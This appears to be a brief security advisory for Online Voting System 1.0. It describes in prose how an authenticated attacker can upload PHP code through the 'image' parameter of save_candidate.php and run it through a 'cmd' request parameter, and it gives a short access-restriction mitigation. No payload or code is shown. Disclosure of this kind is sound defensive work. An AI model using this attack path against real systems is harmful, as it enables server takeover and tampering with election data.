Online Voting System 1.0 – Remote Code Execution (Authenticated)

An authenticated remote code execution vulnerability exists in Online Voting System 1.0. By sending a specially crafted HTTP POST request, an attacker can inject malicious PHP code into the 'image' parameter of the 'save_candidate.php' script. This code will be uploaded to the server and can be executed by accessing the uploaded file with a GET request containing a 'cmd' parameter.

Mitigation:

Restrict access to the 'save_candidate.php' script and ensure that only authorized users can access it.
